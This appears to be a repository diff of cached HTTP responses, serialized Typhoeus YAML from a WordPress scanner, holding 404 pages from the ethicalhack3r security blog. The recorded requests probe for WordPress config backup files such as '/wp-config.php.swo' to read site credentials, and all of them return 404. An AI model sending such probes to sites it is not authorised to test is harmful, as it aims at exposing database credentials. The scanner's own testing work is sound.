<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.swo/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 2.7e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swo
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:31 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=btbhn2tn1b8n5rsahvjg31crgbbrg1t2; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:30 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.7e-05
|
||||
pretransfer_time: 2.5e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.php.swo
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.php.swo
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 1.885056
|
||||
status_message:
|
||||
time: 1.959802
|
||||
310
cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04
vendored
Normal file
310
cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.9e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Php Bak</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
